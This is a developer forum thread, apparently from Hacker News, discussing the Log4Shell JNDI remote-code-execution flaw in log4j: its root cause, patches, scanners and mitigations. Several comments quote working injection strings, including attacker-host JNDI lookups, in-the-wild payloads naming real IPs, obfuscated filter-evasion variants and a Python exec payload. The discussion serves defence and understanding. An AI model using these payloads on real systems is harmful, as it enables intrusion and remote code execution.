    Just read through some of that. My favorite response: "Is it wrong to use a log4j exploit as a password? I mean, passwords shouldn't be coming anywhere near logging code... right?" How many times have we heard of raw text passwords being saved in logs?
    - heyoni 5y ago
      Only once. At Facebook: https://krebsonsecurity.com/2019/03/facebook-stored-hundreds-of-millions-of-user-passwords-in-plain-text-for-years/ https://krebsonsecurity.com/2019/03/facebook-stored-hundreds...

deleted 5y ago

[deleted]

Pxtl 5y ago

Write simple software. The fact that log.Debug(someString) means someString is actually a format string in an elaborate domain-specific language instead of simple goddamned text is emblematic of the crisis the industry is in.

markmark 5y ago
I don't use java and have never touched log4j, but structured logs are utterly fantastic and combined with an appropriate log server are far more useful than plain text.
- lmm 5y ago
  Structured logging is great, but it's vital to keep them structured all the way through. Having an API where you pass a string and then something on the other side tries to parse that string back into structured data is a recipe for disaster.
- throw_m239339 5y ago
  There is a difference between structured log and something that interprets these logs to create shells down the stack, inside a log library... Nobody is questioning the benefits of structured logs here. The log library itself shouldn't be interpreting these logs. It's like a HTTP framework... triggering a printer, why the hell would it be doing that by default? Seems to me that Log4j is doing to many things, including things it shouldn't be concerned with, as a log library.
  - markmark 5y ago
    > Nobody is questioning the benefits of structured logs here. The guy I replied to was literally saying we should only log plain text and that doing anything more complicated is "emblematic of the crisis the industry is in".
- jrockway 5y ago
  I like structured logging but structured logging takes you away from a domain-specific language. Instead of log.Infof("fooed the bar: %v, baz=%v", msg, baz), you'd be writing log.Info("fooed the bar", zap.String("msg", msg), zap.Int("baz", baz)). The attack surface is pretty low here, even though you're doing more than just printing to a file. There is no code injection because there is no programming language going on behind the scenes. (Of course, nothing is preventing you from writing a formatting function that compiles and runs a binary built from the log message. So you aren't intrinsically safe from stupid stuff.)

dionian 5y ago

looks like most end users wont be affected by this one, unlike the previous. never seen these options enabled in the wild

dylan604 5y ago
if only the world could truly be protected by anecdotes of one.

petilon 5y ago

According to https://www.lunasec.io/docs/blog/log4j-zero-day/ https://www.lunasec.io/docs/blog/log4j-zero-day/ if you have this type of code where you log an attacker-specified string (in this case, the X-Api-Version header) then the vulnerability is triggered: String apiVersion = he.getRequestHeader("X-Api-Version"); // This line triggers the RCE by logging the attacker-controlled HTTP header. // The attacker can set their X-Api-Version header to: ${jndi:ldap://attacker.com/a} log.info("Requested Api Version:{}", apiVersion); But what is the bug in log4j that caused the vulnerability? Anyone have a link to the relevant log4j code?

freeqaz 5y ago
Author here. It's not actually a "bug", per se. It's actually a (very misguided) feature! Here it is in the docs: https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup https://logging.apache.org/log4j/2.x/manual/lookups.html#Jnd... > By default the JDNI Lookup only supports the java, ldap, and ldaps protocols or no protocol. So that's where the LDAP portion comes from. This would be perfectly fine if it could only be configured via code or some config file, but the problem is that log4j will interpolate _any_ string looking for `${jndi:foo}` regardless of who put it there. So... when an attacker can insert a JNDI lookup to an arbitrary server... you can see where this is going. Specifically: JNDI lets you load code, also. And that's how the RCE for this works. (The BlackHat talk in the blog post you linked has more details) Does that help?
- deleted 5y ago
  [deleted]
- jfoutz 5y ago
  I've really enjoyed your comments on this page, your blog, and the sample code you're pointing people at. This feels so much like a 90's java/flash bug, it's kind of hilarious and awesome. I think there are 2 key things (As I understand them, and I'm just some random guy, don't trust my armchair analysis) 1. The evil ldap server does not send bytecode to execute. It sends instructions about a class to create, and how to configure it. That class needs to be on the server already. One hard problem might be a hash map with initial size of 2^64 -1, which will throw an OOM, which is hard to deal with, and most people don't bother. another might be awt Window or JFrame, so your server process is trying to load up all of X, which probably isn't installed and will generate a lot of weird errors or crash, unless you've had to be pretty wiley to get around or deal with those in the past. There may be a default RCE out there. I don't see an obvious way to make ProcessBuilder do anything too scary, but the std library is huge. There certainly could be something. I haven't really thought through InvocationHandler, but it seems like it has potential. 2. JNDI support for LDAP comes with java, but JNDI is sorta like JDBC, you can plug in whatever random directory service you want. I do not know, but I suspect there are bindings for CORBA or lotus Domino or ActiveDirectory or COM+ or whatever random, crazy, 20 year old binary is still laying around out there. Actually, I have a third tangential thing. This chain of vectors makes me worry about XML processing and what common libraries do with .xsl, .wsdl, .uddi, and whatever other crazy thing seemed like a good idea back in the day that has been faithfully preserved because change is hard and scary. In any case, great write ups. I've enjoyed them.

freeqaz 5y ago

We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell. ${jndi:ldap://hotpatch.log4shell.com:1389/a} If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly. Source code is on GitHub here[0][1] if you want to host it yourself. (This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.) 0: https://github.com/lunasec-io/lunasec/releases/ https://github.com/lunasec-io/lunasec/releases/ 1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4shell https://github.com/lunasec-io/lunasec/tree/master/tools/log4... 2: https://github.com/Cybereason/Logout4Shell https://github.com/Cybereason/Logout4Shell

teruakohatu 5y ago
How does the hot patch work?
- freeqaz 5y ago
  It uses the Log4Shell exploit to load some Java bytecode (read through this[0] blog post for context on Log4Shell). Then, once it loads that code, it scans the memory of the system and rewrites the various log4j classes that are loaded in memory. The code for that is this[1] Java file. There is a good talk on JNDI exploits in that[0] blog post if you want more details. :) 0: https://www.lunasec.io/docs/blog/log4j-zero-day/#how-the-exploit-works https://www.lunasec.io/docs/blog/log4j-zero-day/#how-the-exp... 1: https://github.com/lunasec-io/lunasec/blob/master/tools/log4shell/payloads/hotpatch-payload/src/main/java/Log4ShellHotpatch.java https://github.com/lunasec-io/lunasec/blob/master/tools/log4...
  - avodonosov 5y ago
    More precisely, it does not rewrite classes, but just changes log4j configuration programmatically.
  - blondin 5y ago

tbirdny 5y ago

Their scanner linked from their Mitigation Guide didn't work for me at all. I scanned a bunch of ear, war, and jar files that have log4j 2.x in them and it didn't find any of them. I guess for the reason described here: https://github.com/lunasec-io/lunasec/issues/301 https://github.com/lunasec-io/lunasec/issues/301 This is less than helpful if people use this and then believe they are safe.

flh 5y ago
I had to deal with the opposite problem this week. My company uses Qualys for our vulnerability management stuff and after our security guys ran their scans throughout the network over the weekend we had a bunch of false positives. Seems that they were alerting on log4j-api in addition to log4j-core (only log4j-core is impacted per Apache). Looks like Qualys fixed it on Monday though so this shouldn't be a problem going forward if anyone else uses them. https://blog.qualys.com/vulnerabilities-threat-research/2021/12/10/apache-log4j2-zero-day-exploited-in-the-wild-log4shell https://blog.qualys.com/vulnerabilities-threat-research/2021...
freeqaz 5y ago
We'll get on this tomorrow to help make this right. It's hard work dealing with all of the complexity that comes from parsing and patching Java packages! (that's part of the reason we wrote our exploit payload to patch a running Java service in-memory -- it was actually more straightforward than this tool. >.<)

barosl 5y ago

This vulnerability seems much harder to exploit. I've just checked the services I'm in charge of and while there are a few uses of `${ctx:...}` in those codebases, the corresponding context values are all injected internally and not able to be manipulated by the user.

jancsika 5y ago

Who was the customer or class of customer that uses this string interpolation business? Edit: also, why was this feature requested in the first place?

mac-chaffee 5y ago
Here's the alleged original Jira ticket: https://issues.apache.org/jira/browse/LOG4J2-313 https://issues.apache.org/jira/browse/LOG4J2-313 PS: Don't post snarky comments on an 8-year old Jira ticket, please.
- jancsika 5y ago
  Thanks, I'll have a look. Also, good call on your PS. :)
- technion 5y ago
  I have read that ticket and the JNDI documentation multiple times and I still can't picture what it would look like to choose to use this. Can anyone show me a codebase that utilises this feature so we can see why?
  - deleted 5y ago
    [deleted]
  - AnotherGoodName 5y ago
    After reading through it's a pretty bad feature. It should have been blocked. The very nature of what it does is terrible. Some background: JNDI alone is fine. You want to load code remotely and run it? Fine. You can do that already in other ways. No issue with JNDI here, go ahead and use it on your server in a controlled way that doesn't involve user input. Log4j has a 'routing appender' that can conditionally write to different logs depending on the content being logged. https://logging.apache.org/log4j/2.x/manual/appenders.html#RoutingAppender https://logging.apache.org/log4j/2.x/manual/appenders.html#R... I can see a use to string match and send logs different ways. Now unfortunately this patch flat out uses the 'routing appender' to look for incoming log statements with the pattern ${jndi:logging/context-name} and load that remote JNDI class. This is such a terrible idea that doesn't pass the sniff test. The person who approved this should have simply read the description of what it does. After matching the pattern ${jndi:logging/context-name} it puts that match into a string 'key' and runs ctx.lookup(convertJndiName(key)); It's similar to someone submitting a patch that says "I want to run eval(user_input)". The only difference is that lookup(convertJndiName()) is a little bit obfuscated since it's not called eval(). I guess the review could be mistaken that it's harmless?. Still i think it's a bad smell. I'm worried for this project. It's probably worth going through everything that 'implements StrLookup' and seeing what they do in the 'lookup(final LogEvent event, final String key)' function. Both event and key are user generated content.

GenerocUsername 5y ago

The one thing we can all be sure of though is that our elections are the most secure.

shp0ngle 5y ago
Election machines usually don't accept any input from outside sources? You can't write in {jndi:ldap://voteforme.com} as your preferred candidate
- baobabKoodaa 5y ago
  I believe your parent poster is poking fun at the idea that we can build secure electronic voting machines, when we can't even build a logging library without multiple RCE's. I don't think they insinuate that the voting machines are vulnerable to this specific threat.
  - thayne 5y ago
    I wouldn't be surprised if they were.
- thayne 5y ago
  Depending on the election, you might be able to write in an arbitrary candidate.
  - _dain_ 5y ago
    Listen, I just think Bobby Tables has the right idea about taxes.
- fiedzia 5y ago
  You can in some countries (Sweden and Austria, and some US states, according to https://en.wikipedia.org/wiki/Write-in_candidate https://en.wikipedia.org/wiki/Write-in_candidate), so go for it.
NaturalPhallacy 5y ago

nyanpasu64 5y ago

> Log4j 2.16.0 completely mitigates this issue by removing support for message lookup patterns and disabling JNDI functionality by default. I think this should've happened from the beginning.

karmasimida 5y ago
No offense to the log4j devs. But I am wondering from a developer's perspective, it should be the first thing to do in my opinion.
thomond 5y ago
It really re-enforces the idea of sane defaults. How many end users of a logging framework would even need JNDI functionality?
- est 5y ago
  > How many end users of a logging framework would even need JNDI functionality Serious question: Suppose you need to replace user ids with user names in your Java program logs, instead of writing LDAP lookups around every log line everywhere, you have to put it in some module no? How about wrap the logging framework?
  - garblegarble 5y ago
    Why on earth would you want more PII in your logs?
  - maherbeg 5y ago
    This should be done as a middleware or plugin into the library that is opt in rather than built in as a default.
  - awestroke 5y ago
    Why would you do that? That sounds like a terrible idea, and a bad way to spend your limited development resources
  - 5y ago

abledon 5y ago

Hegel remarks somewhere that all great world-historic facts and personages appear, so to speak, twice. He forgot to add: the first time as tragedy, the second time as farce.

throwaway984393 5y ago

It's funny that this vuln kind of already exists in other software that uses printf() allowing the user to specify the format string. (Not nearly as easy as this particular bug of course!) Maybe we'll have a mini renaissance of format string vulns now?

crehn 5y ago
How does that allow RCE?
- greyface- 5y ago
  By manipulating values on the stack (notably, return address) in non-memory-safe languages: https://en.wikipedia.org/wiki/Uncontrolled_format_string https://en.wikipedia.org/wiki/Uncontrolled_format_string
  - throwaway984393 5y ago
    And it's not as sexy, but if you can control the format string you can also inject things like SQL commands or HTTP headers into a convenient place. It's basically just an input validation exploit that in the right circumstances leads to other attacks.
oneweekwonder 5y ago
Played around with python for a similar attack and while it needs import and usage of f-string's i was rather taken back how easy it would be to spam the internet with `f"""{exec("import urllib.request;urllib.request.urlopen('http://localhost:8000').read http://localhost:8000').read()")}"""` and variants, see what servers bite and then try to send them a more potent attack. So i personally believe log4sh type attacks across languages will become a lot more common. Because the risk is relatively low and a lot can be automated.
- staticassertion 5y ago
  Can you elaborate? I don't see how you would exploit Python with a string like that unless there's an `eval` somewhere in Python's logger? I wouldn't exactly put it past the language, for sure, but I'm not aware of that being the case. The reason this works in the java library is that the library explicitly adds functionality to evaluate the strings that are passed in, and has a meta-language for computing based on those values.

tie_ 5y ago

Insightful conversations at https://github.com/apache/logging-log4j2/pull/608 https://github.com/apache/logging-log4j2/pull/608 - the original vulnerability patch. Most JNDI lookups are disabled, except for JAVA and _LDAP(S)_. What I don't get is why would someone who knows about the vulnerability would _still_ want to do LDAP lookups during logging, even when restricted to localhost.

azifali 5y ago

We have published a mitigation for K8s which could be applied by 1. blocking outbound jndi lookups through a network policy 2. Blocking possible execs from the Java Process: https://blog.accuknox.com/log-4j-exploit-and-mitigation/ https://blog.accuknox.com/log-4j-exploit-and-mitigation/

shushpanchik 5y ago
As I understood, your policy blocks LDAP port (389). All of the scanning I see in logs at the moment use port 80: "${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}"
- iso1631 5y ago
  Last ones I've seen jndi:dns://ip.address.scanworld.net/ref jndi:ldap://162.55.90.26/222xxxx905/C jndi:ldap://195.54.160.149:12344/Basic/Command/Base64... jndi:ldap://45.130.229.168:1389/Exploit {${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64.... Surprisingly very few attempts via http calls, and while some are on default ports, most aren't. I think most obvious attack methods will have been closed. It's the routes like "naming a rogue AP" method that will be interesting.

alexbakker 5y ago

I have a feeling this vulnerability is going to be with us for years. Shameless plug: I built a tool that assists in detecting whether you're vulnerable to this or the previous CVE: https://log4shell.tools https://log4shell.tools. Just enter the JNDI URI it gives you anywhere you suspect it ends up causing a message lookup in log4j. If log4j does so much as a DNS lookup, this tool will tell you about it.

option_greek 5y ago
Thank you for this tool. Super useful for testing e2e.
- alexbakker 5y ago
  You're welcome! I'm glad you find it useful.

edenfed 5y ago

If you are using Kubernetes, please check out my post on patching log4shell using ephemeral containers in one command: https://medium.com/@edeNFed/patching-log4shell-in-one-command-without-downtime-using-ephemeral-containers-c69a9155ab1e https://medium.com/@edeNFed/patching-log4shell-in-one-comman... Also recommended by Lunasec's mitigation guide: https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/ https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-g...

reegnz 5y ago
> First, you will need a Kubernetes cluster running version v1.23 Good luck with that.

imwillofficial 5y ago

Log4Shell is turning into an Advent Calendar of patches and late nights

AccountToUse 5y ago
5 phone rings 4 unchecked forms 3 if thens 2 terrible days And an ldap in a log tree
- imwillofficial 5y ago
  Hahahaha so good

bullen 5y ago

Calendar date = Calendar.getInstance(); PrintStream ps = new PrintStream(new FileOutputStream(new File("log.txt")), true, "UTF-8"); ps.write(new SimpleDateFormat("yy-MM-dd HH:mm:ss.SSS").format(date.getTime()) + " message that does not need LDAP".getBytes("UTF-8")); 3 lines that replace 1705KB of log4j-core-2.14.1.jar "It does more than that..." I hear you mutter... yes it does more than that! Please build something that you are responsible for. From scratch and with minimalism as a guideline. Using only an OS and a programming language.

madmax108 5y ago
"Alexa, define yak-shaving"
- trasz 5y ago
  How is reminding of the fundamental problem of dependencies’ impact on security a yak-shaving?
  - gjulianm 5y ago
    I mean, if we decided to build everything from scratch using only the OS and a programming language, we wouldn't be building any products. Recommending using a hilariously basic log (straight to file, no modules/level control, no buffer to avoid performance hits, no multithread support) instead of using a established library for logging is pretty naive. Yes, one should know that dependencies can introduce security problems, but the protection against that is not "remove all dependencies and build everything yourself".
  - iSnow 5y ago
    Because in a company setting at least, you will soon discover that you need more than file-based logs in the specific format some coder defined for his pet project. So, you start logging to a database which is easy enough and then you start writing some simple templating code so that different logalizers can work on the logs etc. And then you discover that your logging is slowing down the whole application as more users are added and so on. In the end, you implement a subset of log4j, just worse. What you should have looked at is one of the lighter logging libraries and use slf4fj to switch them out if you need more.

tyler33 5y ago

What about this patch https://github.com/zhangyoufu/log4j2-without-jndi/blob/master/README_en.md https://github.com/zhangyoufu/log4j2-without-jndi/blob/maste... of removing JndiLookup.class , seems still right

alex-korr 5y ago
That's the temp fix that Tableau pushed.

deleted 5y ago

[deleted]

throwaway47292 5y ago

haha i imagine a simple console.log('${jndi:....}) on some website will trigger some java log processing thing on my TV to re-log it and my tv will be hacked just by visiting a website or maybe someone's fridge? the future is bright

qalmakka 5y ago

(Maybe) Unpopular opinion: this whole ordeal is also due to the JRE being a clusterfuck of legacy and poor ideas. I understand it was the 90s but allowing to download arbitrary .class files from a server is _insane_, no matter how you spin it around.

runeks 5y ago
Agreed. Loading and running arbitrary Java byte code should not be possible from user code. Only the runtime system should have this ability.
- eMGm4D0zgUAVXc7 5y ago
  How do you want to write software which supports plugins then? Force the user to restart everything if they need a plugin? Or do you want to force developers to only ever write monolithic software now?
  - PenguinCoder 5y ago
    > restart everything if they need a plugin Yes. Hopefully ensures that only people authorized to actually restart the service can add arbitrary code.
    - eMGm4D0zgUAVXc7 5y ago
      Have a look at the forced restarts of Windows due to updates having become a well-hated meme to see how lucky you'll be in explaining that to the users.
      - MikeKusold 5y ago
        Restarting an operating system is completely different than restarting an application after you enable a plug-in.
      - lrem 5y ago

kune 5y ago

We should rename CI/CD pipelines Continuous Patching Pipelines, which would be more appropriate.

corpMaverick 5y ago

Why is this so hard? It should be very easy to fix this. Set the correct version in the pom.xml. Commit and push to master and deploy. right? easy. It should be a half an hour thing. But at my employer, we still have dozens of teams struggling. Two reasons: - Branching hell.- Many teams don't do continuous integration. They have branches over branches over branches. There are many changes that are not in prod. Continuous integration is about integrating several times a day. David Farley frequently talks about this. https://www.youtube.com/watch?v=Xl62gQpAl1w https://www.youtube.com/watch?v=Xl62gQpAl1w - Microservices hell. - The advantage of microservices is that teams can deploy independently of each other. But many companies ended up with way too many of them. We have a few hundred. I suspect, many of them abandon. Their teams already moved to new things and noone knows how to deploy them. They haven't been deployed in a long time.

da_chicken 5y ago
You're worried about patching the system that you're developing and releasing. Most people aren't doing that. Most people are patching systems they bought from some other guy. Indeed, they're scanning and patching dozens of systems they bought from a dozen other guys, each of whom sourced libraries from other guys, who sourced things from still other guys. Somewhere way down at the bottom of the vendor chain is Log4j. For example, we operate an information system we bought from a nationwide vendor. The primary application is not vulnerable. The admin interface is not vulnerable. The secondary application is not vulnerable. However, there's a reporting system from a third party that was provided to us. That is vulnerable. Now we have to wait for the third party to patch so that the vendor can patch so that we can patch. Plus there's all the other things you find that are clearly stupid, but aren't immediately important. Like this: C:\Program Files (x86)\Microsoft Visual Studio\2017\SQL\Common7\IDE\CommonExtensions\Microsoft\SSIS\150\Extensions\Common\Jars\log4j-1.2.17.jar
- avidphantasm 5y ago
  Plus, older systems may have multiple applications deployed to the same Servlet container (e.g., Tomcat server), even if only one app uses log4j, upgrading it may require updates to transitive shared dependencies that can break "non-affected" apps. Given the prevalence of such Java apps, fixing this is likely to take a long time. Mitigating with firewall rules is a good first step for now.

bob1029 5y ago

I thought I was in the clear, then I remembered we have a small java binary that handles conversion of PDF to images. Turns out, Apache PdfBox depends on Log4j and can be compromised by feeding any malicious PDF into it. How many products use PdfBox right now? This github POC link is not even an hour old... https://github.com/eelyvy/log4jshell-pdf https://github.com/eelyvy/log4jshell-pdf

newhouse 5y ago
Wanted to point out a few things: - The Maven entry for `PDFBox` does not list `log4j` as a dependency. However `commons-logging` is a dependency, and `log4j` is listed as an optional dependency there. https://mvnrepository.com/artifact/org.apache.pdfbox/pdfbox/2.0.24 https://mvnrepository.com/artifact/org.apache.pdfbox/pdfbox/... - The `PDFBox` documentation points out that `log4j` is not needed (though `commons-logging` is) and that logging will "fall back to the standard java.util.logging API included in the Java platform" https://pdfbox.apache.org/2.0/dependencies.html#minimum-requirements https://pdfbox.apache.org/2.0/dependencies.html#minimum-requ... - That exploit PoC explicitly adds `log4j` as a dependency https://github.com/eelyvy/log4jshell-pdf/blob/main/pom.xml#L26 https://github.com/eelyvy/log4jshell-pdf/blob/main/pom.xml#L... So, for others out there that find this: just because you're using `PDFBox` does not necessarily mean that you are also using `log4j`, and therefore likely vulnerable to this latest issue.
- bob1029 5y ago
  I suspected something like this was afoot when I was reading through the manifest files. I don't get paid to write Java, so I wasn't sure if there was some other fantastical edge case that could cause an optional dependency to get loaded dynamically for whatever reason (I certainly couldn't have predicted this log4j fun). Regardless, we are still going to have to remove this because our customers are now on a warpath. Reasonable arguments and nuanced proposals are not going to be feasible for this one. For us, the situation has quickly evolved into "remove 100% of java dependencies from the solution stack". Our customers are super paranoid, but we can't really blame them this time. When the CTO of a bank can understand the exact mechanism that compromises their systems (because it is so trivial to pull off), things are a lot more painful to negotiate.

jrochkind1 5y ago

I just saw a fun user-agent string in my (not log4j!) logs. In case anyone thought they could buy themselves some time with a naive filter on the string "${jndi" in front of your app or something, enjoy the user-agent string beginning: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p} ... Which I assume is a form of escaping/embedding which will work on at least some log4j's, although that's just an assumption I'm making seeing this in my logs, I'm not familiar with the details. I could have seen myself, not really a security person, thinking a filter on `jndi` would work too...

jgrahamc 5y ago
https://blog.cloudflare.com/exploitation-of-cve-2021-44228-before-public-disclosure-and-evolution-of-waf-evasion-patterns/ https://blog.cloudflare.com/exploitation-of-cve-2021-44228-b...

pezzana 5y ago

Where can I find an explanation of the problem(s) log4j actually solves? The home page doesn't do it. The wikipedia article doesn't do it. I remember when it first came out and couldn't think of a single use for it that couldn't be addressed in a cleaner way.

shepherdjerred 5y ago
It solves logging
bdamm 5y ago
Do you know what logging is? It's something basically all developers use to understand what is happening inside their program. log4j provides an easy to use and flexible logging facility so programmers can quickly move past basics and into getting the work done. In the old days, programmers would write their own logging code. In the modern era, basically all operational environments want to get that logging data and tools like splunk and SIEM products use it for understanding how well services are running, looking for security problems, etc. Logs also need to be rotated, not overflow the hard disk, might need to be sent elsewhere. So for the combination of being easy to use but flexible to configure, something like log4j is perfect. Basically all languages have something like log4j. slf4j is also a popular java logging package. Sometimes slf4j and log4j are used together. How would you do it "cleaner"? Write your own?